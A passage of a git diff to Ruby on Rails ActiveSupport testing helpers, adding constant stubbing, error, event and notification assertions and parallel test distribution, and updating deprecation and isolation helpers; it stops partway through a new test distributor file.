diff --git a/activesupport/lib/active_support/testing/constant_lookup.rb b/activesupport/lib/active_support/testing/constant_lookup.rb
index 647395d2b33d9..51167e92377db 100644
--- a/activesupport/lib/active_support/testing/constant_lookup.rb
+++ b/activesupport/lib/active_support/testing/constant_lookup.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/concern"
 require "active_support/inflector"
 
diff --git a/activesupport/lib/active_support/testing/constant_stubbing.rb b/activesupport/lib/active_support/testing/constant_stubbing.rb
new file mode 100644
index 0000000000000..e0bc6dcd1286e
--- /dev/null
+++ b/activesupport/lib/active_support/testing/constant_stubbing.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    module ConstantStubbing
+      # Changes the value of a constant for the duration of a block. Example:
+      #
+      #   # World::List::Import::LARGE_IMPORT_THRESHOLD = 5000
+      #   stub_const(World::List::Import, :LARGE_IMPORT_THRESHOLD, 1) do
+      #     assert_equal 1, World::List::Import::LARGE_IMPORT_THRESHOLD
+      #   end
+      #
+      #   assert_equal 5000, World::List::Import::LARGE_IMPORT_THRESHOLD
+      #
+      # Using this method rather than forcing <tt>World::List::Import::LARGE_IMPORT_THRESHOLD = 5000</tt> prevents
+      # warnings from being thrown, and ensures that the old value is returned after the test has completed.
+      #
+      # If the constant doesn't already exists, but you need it set for the duration of the block
+      # you can do so by passing `exists: false`.
+      #
+      #   stub_const(object, :SOME_CONST, 1, exists: false) do
+      #     assert_equal 1, SOME_CONST
+      #   end
+      #
+      # Note: Stubbing a const will stub it across all threads. So if you have concurrent threads
+      # (like separate test suites running in parallel) that all depend on the same constant, it's possible
+      # divergent stubbing will trample on each other.
+      def stub_const(mod, constant, new_value, exists: true)
+        if exists
+          begin
+            old_value = mod.const_get(constant, false)
+            mod.send(:remove_const, constant)
+            mod.const_set(constant, new_value)
+            yield
+          ensure
+            mod.send(:remove_const, constant)
+            mod.const_set(constant, old_value)
+          end
+        else
+          if mod.const_defined?(constant)
+            raise NameError, "already defined constant #{constant} in #{mod.name}"
+          end
+
+          begin
+            mod.const_set(constant, new_value)
+            yield
+          ensure
+            mod.send(:remove_const, constant)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
index 53ab3ebf78aa1..7c3403684d1fa 100644
--- a/activesupport/lib/active_support/testing/declarative.rb
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveSupport
   module Testing
     module Declarative
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
index 58911570e804e..ea307a0b84c22 100644
--- a/activesupport/lib/active_support/testing/deprecation.rb
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -1,10 +1,39 @@
+# frozen_string_literal: true
+
 require "active_support/deprecation"
-require "active_support/core_ext/regexp"
 
 module ActiveSupport
   module Testing
-    module Deprecation #:nodoc:
+    module Deprecation
+      ##
+      # :call-seq:
+      #   assert_deprecated(deprecator, &block)
+      #   assert_deprecated(match, deprecator, &block)
+      #
+      # Asserts that a matching deprecation warning was emitted by the given deprecator during the execution of the yielded block.
+      #
+      #   assert_deprecated(/foo/, CustomDeprecator) do
+      #     CustomDeprecator.warn "foo should no longer be used"
+      #   end
+      #
+      # The +match+ object may be a +Regexp+, or +String+ appearing in the message.
+      #
+      #   assert_deprecated('foo', CustomDeprecator) do
+      #     CustomDeprecator.warn "foo should no longer be used"
+      #   end
+      #
+      # If the +match+ is omitted (or explicitly +nil+), any deprecation warning will match.
+      #
+      #   assert_deprecated(CustomDeprecator) do
+      #     CustomDeprecator.warn "foo should no longer be used"
+      #   end
       def assert_deprecated(match = nil, deprecator = nil, &block)
+        match, deprecator = nil, match if match.is_a?(ActiveSupport::Deprecation)
+
+        unless deprecator
+          raise ArgumentError, "No deprecator given"
+        end
+
         result, warnings = collect_deprecations(deprecator, &block)
         assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
         if match
@@ -14,14 +43,30 @@ def assert_deprecated(match = nil, deprecator = nil, &block)
         result
       end
 
-      def assert_not_deprecated(deprecator = nil, &block)
+      # Asserts that no deprecation warnings are emitted by the given deprecator during the execution of the yielded block.
+      #
+      #   assert_not_deprecated(CustomDeprecator) do
+      #     CustomDeprecator.warn "message" # fails assertion
+      #   end
+      #
+      #   assert_not_deprecated(ActiveSupport::Deprecation.new) do
+      #     CustomDeprecator.warn "message" # passes assertion, different deprecator
+      #   end
+      def assert_not_deprecated(deprecator, &block)
         result, deprecations = collect_deprecations(deprecator, &block)
         assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n  #{deprecations * "\n  "}"
         result
       end
 
-      def collect_deprecations(deprecator = nil)
-        deprecator ||= ActiveSupport::Deprecation
+      # Returns the return value of the block and an array of all the deprecation warnings emitted by the given
+      # +deprecator+ during the execution of the yielded block.
+      #
+      #   collect_deprecations(CustomDeprecator) do
+      #     CustomDeprecator.warn "message"
+      #     ActiveSupport::Deprecation.new.warn "other message"
+      #     :result
+      #   end # => [:result, ["message"]]
+      def collect_deprecations(deprecator)
         old_behavior = deprecator.behavior
         deprecations = []
         deprecator.behavior = Proc.new do |message, callstack|
diff --git a/activesupport/lib/active_support/testing/error_reporter_assertions.rb b/activesupport/lib/active_support/testing/error_reporter_assertions.rb
new file mode 100644
index 0000000000000..28b6d07859a87
--- /dev/null
+++ b/activesupport/lib/active_support/testing/error_reporter_assertions.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    module ErrorReporterAssertions
+      module ErrorCollector # :nodoc:
+        @subscribed = false
+        @mutex = Mutex.new
+
+        Report = Struct.new(:error, :handled, :severity, :context, :source, keyword_init: true)
+        class Report
+          alias_method :handled?, :handled
+        end
+
+        class << self
+          def record
+            subscribe
+            recorders = ActiveSupport::IsolatedExecutionState[:active_support_error_reporter_assertions] ||= []
+            reports = []
+            recorders << reports
+            begin
+              yield
+              reports
+            ensure
+              recorders.delete_if { |r| reports.equal?(r) }
+            end
+          end
+
+          def report(error, **kwargs)
+            report = Report.new(error: error, **kwargs)
+            ActiveSupport::IsolatedExecutionState[:active_support_error_reporter_assertions]&.each do |reports|
+              reports << report
+            end
+            true
+          end
+
+          private
+            def subscribe
+              return if @subscribed
+              @mutex.synchronize do
+                return if @subscribed
+
+                if ActiveSupport.error_reporter
+                  ActiveSupport.error_reporter.subscribe(self)
+                  @subscribed = true
+                else
+                  flunk("No error reporter is configured")
+                end
+              end
+            end
+        end
+      end
+
+      # Assertion that the block should not cause an exception to be reported
+      # to +Rails.error+.
+      #
+      # Passes if evaluated code in the yielded block reports no exception.
+      #
+      #   assert_no_error_reported do
+      #     perform_service(param: 'no_exception')
+      #   end
+      def assert_no_error_reported(&block)
+        reports = ErrorCollector.record do
+          _assert_nothing_raised_or_warn("assert_no_error_reported", &block)
+        end
+        assert_predicate(reports, :empty?)
+      end
+
+      # Assertion that the block should cause at least one exception to be reported
+      # to +Rails.error+.
+      #
+      # Passes if the evaluated code in the yielded block reports a matching exception.
+      #
+      #   assert_error_reported(IOError) do
+      #     Rails.error.report(IOError.new("Oops"))
+      #   end
+      #
+      # To test further details about the reported exception, you can use the return
+      # value.
+      #
+      #   report = assert_error_reported(IOError) do
+      #     # ...
+      #   end
+      #   assert_equal "Oops", report.error.message
+      #   assert_equal "admin", report.context[:section]
+      #   assert_equal :warning, report.severity
+      #   assert_predicate report, :handled?
+      def assert_error_reported(error_class = StandardError, &block)
+        reports = ErrorCollector.record do
+          _assert_nothing_raised_or_warn("assert_error_reported", &block)
+        end
+
+        if reports.empty?
+          assert(false, "Expected a #{error_class.name} to be reported, but there were no errors reported.")
+        elsif (report = reports.find { |r| error_class === r.error })
+          self.assertions += 1
+          report
+        else
+          message = "Expected a #{error_class.name} to be reported, but none of the " \
+            "#{reports.size} reported errors matched:  \n" \
+            "#{reports.map { |r| r.error.class.name }.join("\n  ")}"
+          assert(false, message)
+        end
+      end
+
+      # Captures reported errors from within the block that match the given
+      # error class.
+      #
+      #   reports = capture_error_reports(IOError) do
+      #     Rails.error.report(IOError.new("Oops"))
+      #     Rails.error.report(IOError.new("Oh no"))
+      #     Rails.error.report(StandardError.new)
+      #   end
+      #
+      #   assert_equal 2, reports.size
+      #   assert_equal "Oops", reports.first.error.message
+      #   assert_equal "Oh no", reports.last.error.message
+      def capture_error_reports(error_class = StandardError, &block)
+        reports = ErrorCollector.record(&block)
+        reports.select { |r| error_class === r.error }
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/event_reporter_assertions.rb b/activesupport/lib/active_support/testing/event_reporter_assertions.rb
new file mode 100644
index 0000000000000..65e69761fc672
--- /dev/null
+++ b/activesupport/lib/active_support/testing/event_reporter_assertions.rb
@@ -0,0 +1,227 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    # Provides test helpers for asserting on ActiveSupport::EventReporter events.
+    module EventReporterAssertions
+      module EventCollector # :nodoc:
+        @subscribed = false
+        @mutex = Mutex.new
+
+        class Event # :nodoc:
+          attr_reader :event_data
+
+          def initialize(event_data)
+            @event_data = event_data
+          end
+
+          def inspect
+            "#{event_data[:name]} (payload: #{event_data[:payload].inspect}, tags: #{event_data[:tags].inspect})"
+          end
+
+          def matches?(name, payload, tags)
+            return false unless name.to_s == event_data[:name]
+
+            if payload && payload.is_a?(Hash)
+              return false unless matches_hash?(payload, :payload)
+            end
+
+            return false unless matches_hash?(tags, :tags)
+            true
+          end
+
+          private
+            def matches_hash?(expected_hash, event_key)
+              expected_hash.all? do |k, v|
+                if v.is_a?(Regexp)
+                  event_data.dig(event_key, k).to_s.match?(v)
+                else
+                  event_data.dig(event_key, k) == v
+                end
+              end
+            end
+        end
+
+        class << self
+          def emit(event)
+            event_recorders&.each do |events|
+              events << Event.new(event)
+            end
+            true
+          end
+
+          def record
+            subscribe
+            events = []
+            event_recorders << events
+            begin
+              yield
+              events
+            ensure
+              event_recorders.delete_if { |r| events.equal?(r) }
+            end
+          end
+
+          private
+            def subscribe
+              return if @subscribed
+
+              @mutex.synchronize do
+                unless @subscribed
+                  if ActiveSupport.event_reporter
+                    ActiveSupport.event_reporter.subscribe(self)
+                    @subscribed = true
+                  else
+                    raise Minitest::Assertion, "No event reporter is configured"
+                  end
+                end
+              end
+            end
+
+            def event_recorders
+              ActiveSupport::IsolatedExecutionState[:active_support_event_reporter_assertions] ||= []
+            end
+        end
+      end
+
+      # Asserts that the block does not cause an event to be reported to +Rails.event+.
+      #
+      # If no name is provided, passes if evaluated code in the yielded block reports no events.
+      #
+      #   assert_no_event_reported do
+      #     service_that_does_not_report_events.perform
+      #   end
+      #
+      # If a name is provided, passes if evaluated code in the yielded block reports no events
+      # with that name.
+      #
+      #   assert_no_event_reported("user.created") do
+      #     service_that_does_not_report_events.perform
+      #   end
+      def assert_no_event_reported(name = nil, payload: {}, tags: {}, &block)
+        events = EventCollector.record(&block)
+
+        if name.nil?
+          assert_predicate(events, :empty?)
+        else
+          matching_event = events.find { |event| event.matches?(name, payload, tags) }
+          if matching_event
+            message = "Expected no '#{name}' event to be reported, but found:\n  " \
+              "#{matching_event.inspect}"
+            flunk(message)
+          end
+          assert(true)
+        end
+      end
+
+      # Asserts that the block causes an event with the given name to be reported
+      # to +Rails.event+.
+      #
+      # Passes if the evaluated code in the yielded block reports a matching event.
+      #
+      #   assert_event_reported("user.created") do
+      #     Rails.event.notify("user.created", { id: 123 })
+      #   end
+      #
+      # To test further details about the reported event, you can specify payload and tag matchers.
+      #
+      #   assert_event_reported("user.created",
+      #     payload: { id: 123, name: "John Doe" },
+      #     tags: { request_id: /[0-9]+/ }
+      #   ) do
+      #     Rails.event.tagged(request_id: "123") do
+      #       Rails.event.notify("user.created", { id: 123, name: "John Doe" })
+      #     end
+      #   end
+      #
+      # The matchers support partial matching - only the specified keys need to match.
+      #
+      #   assert_event_reported("user.created", payload: { id: 123 }) do
+      #     Rails.event.notify("user.created", { id: 123, name: "John Doe" })
+      #   end
+      def assert_event_reported(name, payload: nil, tags: {}, &block)
+        events = EventCollector.record(&block)
+
+        if events.empty?
+          flunk("Expected an event to be reported, but there were no events reported.")
+        elsif (event = events.find { |event| event.matches?(name, payload, tags) })
+          assert(true)
+          event.event_data
+        else
+          message = "Expected an event to be reported matching:\n  " \
+            "name: #{name.inspect}\n  " \
+            "payload: #{payload.inspect}\n  " \
+            "tags: #{tags.inspect}\n" \
+            "but none of the #{events.size} reported events matched:\n  " \
+            "#{events.map(&:inspect).join("\n  ")}"
+          flunk(message)
+        end
+      end
+
+      # Asserts that the provided events were reported, regardless of order.
+      #
+      #   assert_events_reported([
+      #     { name: "user.created", payload: { id: 123 } },
+      #     { name: "email.sent", payload: { to: "user@example.com" } }
+      #   ]) do
+      #     create_user_and_send_welcome_email
+      #   end
+      #
+      # Supports the same payload and tag matching as +assert_event_reported+.
+      #
+      #   assert_events_reported([
+      #     {
+      #       name: "process.started",
+      #       payload: { id: 123 },
+      #       tags: { request_id: /[0-9]+/ }
+      #     },
+      #     { name: "process.completed" }
+      #   ]) do
+      #     Rails.event.tagged(request_id: "456") do
+      #       start_and_complete_process(123)
+      #     end
+      #   end
+      def assert_events_reported(expected_events, &block)
+        events = EventCollector.record(&block)
+
+        if events.empty? && expected_events.size > 0
+          flunk("Expected #{expected_events.size} events to be reported, but there were no events reported.")
+        end
+
+        events_copy = events.dup
+
+        expected_events.each do |expected_event|
+          name = expected_event[:name]
+          payload = expected_event[:payload] || {}
+          tags = expected_event[:tags] || {}
+
+          matching_event_index = events_copy.find_index { |event| event.matches?(name, payload, tags) }
+
+          if matching_event_index
+            events_copy.delete_at(matching_event_index)
+          else
+            message = "Expected an event to be reported matching:\n  " \
+              "name: #{name.inspect}\n  " \
+              "payload: #{payload.inspect}\n  " \
+              "tags: #{tags.inspect}\n" \
+              "but none of the #{events.size} reported events matched:\n  " \
+              "#{events.map(&:inspect).join("\n  ")}"
+            flunk(message)
+          end
+        end
+
+        assert(true)
+      end
+
+      # Allows debug events to be reported to +Rails.event+ for the duration of a given block.
+      #
+      #   with_debug_event_reporting do
+      #     service_that_reports_debug_events.perform
+      #   end
+      #
+      def with_debug_event_reporting(&block)
+        ActiveSupport.event_reporter.with_debug(&block)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/file_fixtures.rb b/activesupport/lib/active_support/testing/file_fixtures.rb
index affb84cda5a44..4eb7a88576e96 100644
--- a/activesupport/lib/active_support/testing/file_fixtures.rb
+++ b/activesupport/lib/active_support/testing/file_fixtures.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/concern"
+
 module ActiveSupport
   module Testing
     # Adds simple access to sample files called file fixtures.
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index 54c3263efacf8..ccba6ebb60d0b 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -1,11 +1,15 @@
+# frozen_string_literal: true
+
+require "active_support/testing/parallelize_executor"
+
 module ActiveSupport
   module Testing
     module Isolation
-      require "thread"
+      SubprocessCrashed = Class.new(StandardError)
 
-      def self.included(klass) #:nodoc:
+      def self.included(klass) # :nodoc:
         klass.class_eval do
-          parallelize_me!
+          parallelize_me! unless Minitest.parallel_executor.is_a?(ActiveSupport::Testing::ParallelizeExecutor)
         end
       end
 
@@ -14,63 +18,73 @@ def self.forking_env?
       end
 
       def run
-        serialized = run_in_isolation do
+        status, serialized = run_in_isolation do
           super
         end
 
+        unless status&.success?
+          error = SubprocessCrashed.new("Subprocess exited with an error: #{status.inspect}\noutput: #{serialized.inspect}")
+          error.set_backtrace(caller)
+          self.failures << Minitest::UnexpectedError.new(error)
+          return defined?(Minitest::Result) ? Minitest::Result.from(self) : dup
+        end
+
         Marshal.load(serialized)
       end
 
       module Forking
         def run_in_isolation(&blk)
-          read, write = IO.pipe
-          read.binmode
-          write.binmode
+          IO.pipe do |read, write|
+            read.binmode
+            write.binmode
 
-          pid = fork do
-            read.close
-            yield
-            begin
-              if error?
-                failures.map! { |e|
-                  begin
-                    Marshal.dump e
-                    e
-                  rescue TypeError
-                    ex = Exception.new e.message
-                    ex.set_backtrace e.backtrace
-                    Minitest::UnexpectedError.new ex
-                  end
-                }
+            pid = fork do
+              read.close
+              yield
+              begin
+                if error?
+                  failures.map! { |e|
+                    begin
+                      Marshal.dump e
+                      e
+                    rescue TypeError
+                      ex = Exception.new e.message
+                      ex.set_backtrace e.backtrace
+                      Minitest::UnexpectedError.new ex
+                    end
+                  }
+                end
+                test_result = defined?(Minitest::Result) ? Minitest::Result.from(self) : dup
+                result = Marshal.dump(test_result)
               end
-              result = Marshal.dump(dup)
+
+              write.puts [result].pack("m")
+              exit!(0)
             end
 
-            write.puts [result].pack("m")
-            exit!
+            write.close
+            result = read.read
+            _, status = Process.wait2(pid)
+            return status, result.unpack1("m")
           end
-
-          write.close
-          result = read.read
-          Process.wait2(pid)
-          return result.unpack("m")[0]
         end
       end
 
       module Subprocess
         ORIG_ARGV = ARGV.dup unless defined?(ORIG_ARGV)
 
-        # Crazy H4X to get this working in windows / jruby with
+        # Complicated H4X to get this working in Windows / JRuby with
         # no forking.
         def run_in_isolation(&blk)
           require "tempfile"
 
           if ENV["ISOLATION_TEST"]
             yield
+            test_result = defined?(Minitest::Result) ? Minitest::Result.from(self) : dup
             File.open(ENV["ISOLATION_OUTPUT"], "w") do |file|
-              file.puts [Marshal.dump(dup)].pack("m")
+              file.puts [Marshal.dump(test_result)].pack("m")
             end
-            exit!
+            exit!(0)
           else
             Tempfile.open("isolation") do |tmpfile|
               env = {
@@ -88,13 +102,14 @@ def run_in_isolation(&blk)
 
               child = IO.popen([env, Gem.ruby, *load_path_args, $0, *ORIG_ARGV, test_opts])
 
+              status = nil
               begin
-                Process.wait(child.pid)
+                _, status = Process.wait2(child.pid)
               rescue Errno::ECHILD # The child process may exit before we wait
                 nil
               end
 
-              return tmpfile.read.unpack("m")[0]
+              return status, tmpfile.read.unpack1("m")
             end
           end
         end
diff --git a/activesupport/lib/active_support/testing/method_call_assertions.rb b/activesupport/lib/active_support/testing/method_call_assertions.rb
index 6b07416fdc2ba..2992164ab29a6 100644
--- a/activesupport/lib/active_support/testing/method_call_assertions.rb
+++ b/activesupport/lib/active_support/testing/method_call_assertions.rb
@@ -1,13 +1,15 @@
+# frozen_string_literal: true
+
 require "minitest/mock"
 
 module ActiveSupport
   module Testing
     module MethodCallAssertions # :nodoc:
       private
-        def assert_called(object, method_name, message = nil, times: 1, returns: nil)
+        def assert_called(object, method_name, message = nil, times: 1, returns: nil, &block)
           times_called = 0
 
-          object.stub(method_name, proc { times_called += 1; returns }) { yield }
+          object.stub(method_name, proc { times_called += 1; returns }, &block)
 
           error = "Expected #{method_name} to be called #{times} times, " \
             "but was called #{times_called} times"
@@ -15,24 +17,50 @@ def assert_called(object, method_name, message = nil, times: 1, returns: nil)
           assert_equal times, times_called, error
         end
 
-        def assert_called_with(object, method_name, args = [], returns: nil)
+        def assert_called_with(object, method_name, args, returns: false, **kwargs, &block)
           mock = Minitest::Mock.new
+          expect_called_with(mock, args, returns: returns, **kwargs)
 
-          if args.all? { |arg| arg.is_a?(Array) }
-            args.each { |arg| mock.expect(:call, returns, arg) }
-          else
-            mock.expect(:call, returns, args)
-          end
-
-          object.stub(method_name, mock) { yield }
+          object.stub(method_name, mock, &block)
 
-          mock.verify
+          assert_mock(mock)
         end
 
         def assert_not_called(object, method_name, message = nil, &block)
           assert_called(object, method_name, message, times: 0, &block)
         end
 
+        def expect_called_with(mock, args, returns: false, **kwargs)
+          mock.expect(:call, returns, args, **kwargs)
+        end
+
+        def assert_called_on_instance_of(klass, method_name, message = nil, times: 1, returns: nil)
+          times_called = 0
+          klass.define_method("stubbed_#{method_name}") do |*|
+            times_called += 1
+
+            returns
+          end
+
+          klass.alias_method "original_#{method_name}", method_name
+          klass.alias_method method_name, "stubbed_#{method_name}"
+
+          yield
+
+          error = "Expected #{method_name} to be called #{times} times, but was called #{times_called} times"
+          error = "#{message}.\n#{error}" if message
+
+          assert_equal times, times_called, error
+        ensure
+          klass.alias_method method_name, "original_#{method_name}"
+          klass.undef_method "original_#{method_name}"
+          klass.undef_method "stubbed_#{method_name}"
+        end
+
+        def assert_not_called_on_instance_of(klass, method_name, message = nil, &block)
+          assert_called_on_instance_of(klass, method_name, message, times: 0, &block)
+        end
+
         def stub_any_instance(klass, instance: klass.new)
           klass.stub(:new, instance) { yield instance }
         end
diff --git a/activesupport/lib/active_support/testing/notification_assertions.rb b/activesupport/lib/active_support/testing/notification_assertions.rb
new file mode 100644
index 0000000000000..67dda74dc1f43
--- /dev/null
+++ b/activesupport/lib/active_support/testing/notification_assertions.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    module NotificationAssertions
+      # Assert a notification was emitted with a given +pattern+ and optional +payload+.
+      #
+      # You can assert that a notification was emitted by passing a pattern, which accepts
+      # either a string or regexp, an optional payload, and a block. While the block
+      # is executed, if a matching notification is emitted, the assertion will pass
+      # and the notification will be returned.
+      #
+      # Note that the payload is matched as a subset, meaning that the notification must
+      # contain at least the specified keys and values, but may contain additional ones.
+      #
+      #     assert_notification("post.submitted", title: "Cool Post") do
+      #       post.submit(title: "Cool Post", body: "Cool Body") # => emits matching notification
+      #     end
+      #
+      # Using the returned notification, you can make more customized assertions.
+      #
+      #     notification = assert_notification("post.submitted", title: "Cool Post") do
+      #       ActiveSupport::Notifications.instrument("post.submitted", title: "Cool Post", body: Body.new("Cool Body"))
+      #     end
+      #
+      #     assert_instance_of(Body, notification.payload[:body])
+      #
+      def assert_notification(pattern, payload = nil, &block)
+        notifications = capture_notifications(pattern, &block)
+        assert_not_empty(notifications, "No #{pattern} notifications were found")
+
+        return notifications.first if payload.nil?
+
+        notification = notifications.find { |notification| notification.payload.slice(*payload.keys) == payload }
+        assert_not_nil(notification, "No #{pattern} notification with payload #{payload} was found")
+
+        notification
+      end
+
+      # Assert the number of notifications emitted with a given +pattern+.
+      #
+      # You can assert the number of notifications emitted by passing a pattern, which accepts
+      # either a string or regexp, a count, and a block. While the block is executed,
+      # the number of matching notifications emitted will be counted. After the block's
+      # execution completes, the assertion will pass if the count matches.
+      #
+      #     assert_notifications_count("post.submitted", 1) do
+      #       post.submit(title: "Cool Post") # => emits matching notification
+      #     end
+      #
+      def assert_notifications_count(pattern, count, &block)
+        actual_count = capture_notifications(pattern, &block).count
+        assert_equal(count, actual_count, "Expected #{count} instead of #{actual_count} notifications for #{pattern}")
+      end
+
+      # Assert no notifications were emitted for a given +pattern+.
+      #
+      # You can assert no notifications were emitted by passing a pattern, which accepts
+      # either a string or regexp, and a block. While the block is executed, if no
+      # matching notifications are emitted, the assertion will pass.
+      #
+      #     assert_no_notifications("post.submitted") do
+      #       post.destroy # => emits non-matching notification
+      #     end
+      #
+      def assert_no_notifications(pattern = nil, &block)
+        notifications = capture_notifications(pattern, &block)
+        error_message = if pattern
+          "Expected no notifications for #{pattern} but found #{notifications.size}"
+        else
+          "Expected no notifications but found #{notifications.size}"
+        end
+        assert_empty(notifications, error_message)
+      end
+
+      # Capture emitted notifications, optionally filtered by a +pattern+.
+      #
+      # You can capture emitted notifications, optionally filtered by a pattern,
+      # which accepts either a string or regexp, and a block.
+      #
+      #     notifications = capture_notifications("post.submitted") do
+      #       post.submit(title: "Cool Post") # => emits matching notification
+      #     end
+      #
+      def capture_notifications(pattern = nil, &block)
+        notifications = []
+        ActiveSupport::Notifications.subscribed(->(n) { notifications << n }, pattern, &block)
+        notifications
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/parallelization.rb b/activesupport/lib/active_support/testing/parallelization.rb
new file mode 100644
index 0000000000000..fe7a130740fbd
--- /dev/null
+++ b/activesupport/lib/active_support/testing/parallelization.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require "drb"
+require "drb/unix" unless Gem.win_platform?
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/testing/parallelization/test_distributor"
+require "active_support/testing/parallelization/thread_pool_executor"
+require "active_support/testing/parallelization/server"
+require "active_support/testing/parallelization/worker"
+
+module ActiveSupport
+  module Testing
+    class Parallelization # :nodoc:
+      @@before_fork_hooks = []
+
+      def self.before_fork_hook(&blk)
+        @@before_fork_hooks << blk
+      end
+
+      cattr_reader :before_fork_hooks
+
+      @@after_fork_hooks = []
+
+      def self.after_fork_hook(&blk)
+        @@after_fork_hooks << blk
+      end
+
+      cattr_reader :after_fork_hooks
+
+      @@run_cleanup_hooks = []
+
+      def self.run_cleanup_hook(&blk)
+        @@run_cleanup_hooks << blk
+      end
+
+      cattr_reader :run_cleanup_hooks
+
+      def initialize(worker_count, work_stealing: false)
+        @worker_count = worker_count
+
+        distributor = (work_stealing ? RoundRobinWorkStealingDistributor : RoundRobinDistributor).new \
+          worker_count: worker_count
+
+        @queue_server = Server.new(distributor: distributor)
+        @worker_pool = []
+        @url = DRb.start_service("drbunix:", @queue_server).uri
+      end
+
+      def before_fork
+        Parallelization.before_fork_hooks.each(&:call)
+      end
+
+      def start
+        before_fork
+        @worker_pool = @worker_count.times.map do |worker|
+          Worker.new(worker, @url).start
+        end
+      end
+
+      def <<(work)
+        @queue_server << work
+      end
+
+      def size
+        @worker_count
+      end
+
+      def shutdown
+        dead_worker_pids = @worker_pool.filter_map do |pid|
+          Process.waitpid(pid, Process::WNOHANG)
+        rescue Errno::ECHILD
+          pid
+        end
+        @queue_server.remove_dead_workers(dead_worker_pids)
+
+        @queue_server.shutdown
+        @worker_pool.each do |pid|
+          Process.waitpid(pid)
+        rescue Errno::ECHILD
+          nil
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/parallelization/server.rb b/activesupport/lib/active_support/testing/parallelization/server.rb
new file mode 100644
index 0000000000000..3f2f13536e486
--- /dev/null
+++ b/activesupport/lib/active_support/testing/parallelization/server.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+require "drb"
+require "drb/unix" unless Gem.win_platform?
+
+module ActiveSupport
+  module Testing
+    class Parallelization # :nodoc:
+      PrerecordResultClass = Struct.new(:name)
+
+      class Server
+        include DRb::DRbUndumped
+        def initialize(distributor:)
+          @distributor = distributor
+          @active_workers = Concurrent::Map.new
+          @worker_pids = Concurrent::Map.new
+          @in_flight = Concurrent::Map.new
+        end
+
+        def record(reporter, result)
+          raise DRb::DRbConnError if result.is_a?(DRb::DRbUnknown)
+
+          @in_flight.delete([result.klass, result.name])
+
+          reporter.synchronize do
+            reporter.prerecord(PrerecordResultClass.new(result.klass), result.name)
+            reporter.record(result)
+          end
+        end
+
+        def <<(o)
+          o[2] = DRbObject.new(o[2]) if o
+          @distributor.add_test(o)
+        end
+
+        def pop(worker_id)
+          if test = @distributor.take(worker_id: worker_id)
+            @in_flight[[test[0].to_s, test[1]]] = test
+          end
+
+          test
+        end
+
+        def start_worker(worker_id, worker_pid)
+          @active_workers[worker_id] = true
+          @worker_pids[worker_id] = worker_pid
+        end
+
+        def stop_worker(worker_id, worker_pid)
+          @active_workers.delete(worker_id)
+          @worker_pids.delete(worker_id)
+        end
+
+        def remove_dead_workers(dead_pids)
+          dead_pids.each do |dead_pid|
+            if worker_id = @worker_pids.key(dead_pid)
+              @active_workers.delete(worker_id)
+              @worker_pids.delete(worker_id)
+            end
+          end
+        end
+
+        def active_workers?
+          @active_workers.size > 0
+        end
+
+        def interrupt
+          @distributor.interrupt
+        end
+
+        def shutdown
+          # Wait for initial queue to drain
+          while @distributor.pending?
+            sleep 0.1
+          end
+
+          @distributor.close
+
+          wait_for_active_workers
+
+          @in_flight.values.each do |(klass, name, reporter)|
+            result = Minitest::Result.from(klass.new(name))
+            error = RuntimeError.new("result not reported")
+            error.set_backtrace([""])
+            result.failures << Minitest::UnexpectedError.new(error)
+            reporter.synchronize do
+              reporter.record(result)
+            end
+          end
+        rescue Interrupt
+          warn "Interrupted. Exiting..."
+
+          @distributor.close
+
+          wait_for_active_workers
+        end
+
+        private
+          def wait_for_active_workers
+            while active_workers?
+              sleep 0.1
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/parallelization/test_distributor.rb b/activesupport/lib/active_support/testing/parallelization/test_distributor.rb
new file mode 100644
index 0000000000000..f630023e53134
--- /dev/null
+++ b/activesupport/lib/active_support/testing/parallelization/test_distributor.rb
@@ -0,0 +1,188 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    class Parallelization # :nodoc:
+      # Abstract base class for test distribution strategies.
+      # Subclasses implement different ways of assigning tests to workers.
+      class TestDistributor
+        # Add a test to be distributed to workers.
+        # @param test [Array] Test tuple: [class, method, reporter]
+        def add_test(test)
+          raise NotImplementedError
+        end
+
+        # Retrieve the next test for a specific worker.
+        # @param worker_id [Integer] The worker requesting work
+        # @return [Array, nil] Test tuple or nil if no work available
+        def take(worker_id:)
+          raise NotImplementedError
+        end
+
+        # Clear all pending work (called on interrupt).
+        def interrupt
+          # Optional
+        end
+
+        # Check if there is pending work.
+        # @return [Boolean] true if work is pending
+        def pending?
+          raise NotImplementedError
+        end
+
+        # Close the distributor. No more work will be accepted.
+        def close
+          # Optional
+        end
+      end
+
+      # Shared queue distributor - workers compete for tests (work stealing).
+      # Internal/testing helper; not exposed as a public distribution mode.
+      class SharedQueueDistributor < TestDistributor
+        def initialize
+          @queue = Queue.new
+        end
+
+        def add_test(test)
+          @queue << test
+        end
+
